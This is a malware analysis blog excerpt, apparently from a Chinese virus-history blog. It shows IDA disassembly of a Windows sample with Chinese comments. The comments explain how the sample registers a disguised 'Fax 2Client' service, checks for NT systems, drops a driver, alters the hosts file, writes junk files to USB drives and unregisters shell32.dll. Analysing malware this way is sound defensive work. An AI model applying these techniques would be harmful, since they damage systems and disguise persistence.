.text:004123BB                  pop      ecx
.text:004123BC                  retn
.text:004123BC
.text:004123BC ; ---------------------------------------------------------------------------
.text:004123BD                  align 10h
.text:004123C0                  push     0Bh
.text:004123C2                  push     offset s_Fax2client ; "Fax 2Client"
.text:004123C7                  mov      ecx, offset unk_4181D8
.text:004123CC                  call     sub_4029A0
.text:004123CC
.text:004123D1                  push     offset loc_412FD0
.text:004123D6                  call     _atexit
.text:004123D6
.text:004123DB                  pop      ecx
.text:004123DC                  retn
.text:004123DC
.text:0041259D                  align 10h
.text:004125A0                  push     22h
.text:004125A2                  push     offset s_SystemCurre_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
.text:004125A7                  mov      ecx, offset unk_41837C
.text:004125AC                  call     sub_4029A0
.text:004125AC
.text:004125B1                  push     offset loc_4132A0
.text:004125B6                  call     _atexit
.text:004125B6
.text:004125BB                  pop      ecx
.text:004125BC                  retn
.text:004125BC
.rdata:004145FC s_SystemCurre_0 db 'SYSTEM\CurrentControlSet\Services\',0

//注册服务名称为ms_2fax的服务，显示名称为Fax 2Client

.rdata:00414680                  unicode 0, <\>,0
.rdata:00414684 s_Unknown        db 'Unknown',0           ; DATA XREF: sub_4057D0+15C o
.rdata:00414684                                          ; sub_405940+4E o
.rdata:0041468C ; char s_WindowsMe[]
.rdata:0041468C s_WindowsMe      db 'Windows Me',0        ; DATA XREF: sub_4034D0:loc_40362E o
.rdata:0041468C                                          ; sub_4057D0+B2 o
.rdata:00414697                  align 4
.rdata:00414698 ; char s_Windows98[]
.rdata:00414698 s_Windows98      db 'Windows 98',0        ; DATA XREF: sub_4034D0:loc_403601 o
.rdata:00414698                                          ; sub_4057D0:loc_405866 o
.rdata:004146A3                  align 4
.rdata:004146A4 ; char s_Windows98Seco[]
.rdata:004146A4 s_Windows98Seco db 'Windows 98 Second Edition',0
.rdata:004146A4                                          ; DATA XREF: sub_4034D0:loc_4035D4 o
.rdata:004146A4                                          ; sub_4057D0+87 o
.rdata:004146BE                  align 10h
.rdata:004146C0 ; char s_Windows95[]
.rdata:004146C0 s_Windows95      db 'Windows 95',0        ; DATA XREF: sub_4034D0:loc_4035A7 o
.rdata:004146C0                                          ; sub_4057D0:loc_405827 o
.rdata:004146CB                  align 4
.rdata:004146CC ; char s_Windows95Osr2[]
.rdata:004146CC s_Windows95Osr2 db 'Windows 95 OSR2',0   ; DATA XREF: sub_4034D0:loc_40357A o
.rdata:004146CC                                          ; sub_4057D0+48 o

//判断操作系统版本，如果非NT内核，不进行发作

.rdata:004146DC s_Vector<t>TooL db 'vector<T> too long',0 ; DATA XREF: .text:00402F5A o
.rdata:004146EF                  align 10h
.rdata:004146F0 ; char ProcName[]
.rdata:004146F0 ProcName         db 'SHGetFolderPathA',0 ; DATA XREF: sub_403190+33 o
.rdata:00414701                  align 4
.rdata:00414704 ; char LibFileName[]
.rdata:00414704 LibFileName      db 'shell32.dll',0       ; DATA XREF: sub_403190+F o
.rdata:00414710 asc_414710:                              ; DATA XREF: sub_4034D0+28A o
.rdata:00414710                  unicode 0, <">,0
.rdata:00414714 s_US             db ' /u /s "',0          ; DATA XREF: sub_4034D0+267 o
.rdata:0041471D                  align 10h
.rdata:00414720 s_S              db ' /s "',0             ; DATA XREF: sub_4034D0+25E o
.rdata:00414726                  align 4
.rdata:00414728 s_SystemRegsvr3 db '\system\regsvr32.exe',0 ; DATA XREF: sub_4034D0+1DB o
.rdata:0041473D                  align 10h
.rdata:00414740 s_Regsvr32_exe   db '\regsvr32.exe',0     ; DATA XREF: sub_4034D0+17E o
.rdata:0041474E                  align 10h
.rdata:00414750 s_2810bb9d466d   db '2810BB9D466D}',0     ; DATA XREF: sub_403940+78 o
.rdata:0041475E                  align 10h
.rdata:00414760 s_01de82f0       db '{01DE82F0',0         ; DATA XREF: sub_403940+68 o
.rdata:0041476A                  align 4
.rdata:0041476C s_Y:                                     ; DATA XREF: sub_4040A0+CA o
.rdata:0041476C                  unicode 0, <y>,0
.rdata:00414770 s_S_0:                                   ; DATA XREF: sub_4040A0+60 o
.rdata:00414770                  unicode 0, <s>,0
.rdata:00414774 s_1_rm           db '1.rm',0              ; DATA XREF: sub_4040A0+730 o
.rdata:00414779                  align 4
.rdata:0041477C s_1_txt          db '1.txt',0             ; DATA XREF: sub_4040A0+64B o
.rdata:00414782                  align 4
.rdata:00414784 s_1_bmp          db '1.bmp',0             ; DATA XREF: sub_4040A0+4BB o
.rdata:0041478A                  align 4
.rdata:0041478C s_1_exe          db '1.exe',0             ; DATA XREF: sub_4040A0+326 o
.rdata:0041478C                                          ; sub_4040A0+566 o
.rdata:00414792                  align 4
.rdata:00414794 s_1_dll          db '1.dll',0             ; DATA XREF: sub_4040A0+1C5 o
.rdata:00414794                                          ; sub_4040A0+27E o
.rdata:00414794                                          ; sub_4040A0+3D9 o
.rdata:0041479A                  align 4
.rdata:0041479C s_Usb8028x       db 'usb8028x',0          ; DATA XREF: .text:00412B40 o
.rdata:004147A5                  align 4
.rdata:004147A8 s_Usb8028        db 'usb8028',0           ; DATA XREF: .text:00412B60 o
.rdata:004147B0 s_List<t>TooLon db 'list<T> too long',0 ; DATA XREF: sub_404FE0+2E o
.rdata:004147C1                  align 4
.rdata:004147C4 s_Hosts          db '\hosts',0            ; DATA XREF: sub_405190+CD o
.rdata:004147CB                  align 4
.rdata:004147CC s_System32Drive db '\System32\drivers\etc\hosts',0
.rdata:004147CC                                          ; DATA XREF: sub_405190+9A o
.rdata:004147E8 ; char s_WT[]
.rdata:004147E8 s_WT             db 'w+t',0               ; DATA XREF: sub_4053A0:loc_4055B0 o
.rdata:004147EC ; char s_Rt[]
.rdata:004147EC s_Rt             db 'rt',0                ; DATA XREF: sub_4053A0:loc_405441 o
.rdata:004147EF                  align 10h
.rdata:004147F0 ; char s_S_1[]
.rdata:004147F0 s_S_1            db '%s',0                ; DATA XREF: sub_4056F0+24 o
.rdata:004147F0                                          ; sub_405760+24 o
.rdata:004147F3                  align 4
.rdata:004147F4 off_4147F4       dd offset sub_405740     ; DATA XREF: sub_4056F0+12 o
.rdata:004147F4                                          ; .text:loc_405730 o
.rdata:004147F4                                          ; sub_405740+8 o
.rdata:004147F8 ; char s_S_sys[]
.rdata:004147F8 s_S_sys          db '%s.sys',0            ; DATA XREF: sub_4056F0+C o
.rdata:004147F8                                          ; sub_405760+C o
.rdata:004147FF                  align 10h
.rdata:00414800 off_414800       dd offset sub_4057B0     ; DATA XREF: sub_405760+12 o
.rdata:00414800                                          ; .text:loc_4057A0 o
.rdata:00414800                                          ; sub_4057B0+8 o
.rdata:00414804 s_WindowsServer db 'Windows Server 2003 family',0
.rdata:00414804                                          ; DATA XREF: sub_4057D0+147 o
.rdata:0041481F                  align 10h
.rdata:00414820 s_WindowsXp      db 'Windows XP',0        ; DATA XREF: sub_4057D0+12D o
.rdata:0041482B                  align 4
.rdata:0041482C s_Windows2000    db 'Windows 2000',0      ; DATA XREF: sub_4057D0+113 o
.rdata:00414839                  align 4
.rdata:0041483C s_WindowsNt4_0   db 'Windows NT 4.0',0    ; DATA XREF: sub_4057D0+F1 o
.rdata:0041484B                  align 4
.rdata:0041484C s_WindowsNt3_51 db 'Windows NT 3.51',0   ; DATA XREF: sub_4057D0+D7 o

//判断操作系统类型，如果是NT内核系统，写入驱动、修改host文件、对移动存储设备写入5个垃圾文件、反注册shell32.dll


类别：病毒岁月 查看评论]]> 2007-05-25 12:31 http://hi.baidu.com/renlangliu/blog/item/ae576c3ef73f743c70cf6c1c.html <![CDATA[一张图片]]>
类别：病毒岁月 查看评论]]> 2007-05-24 21:28 http://hi.baidu.com/renlangliu/blog/item/818d68892756b3b20f24442d.html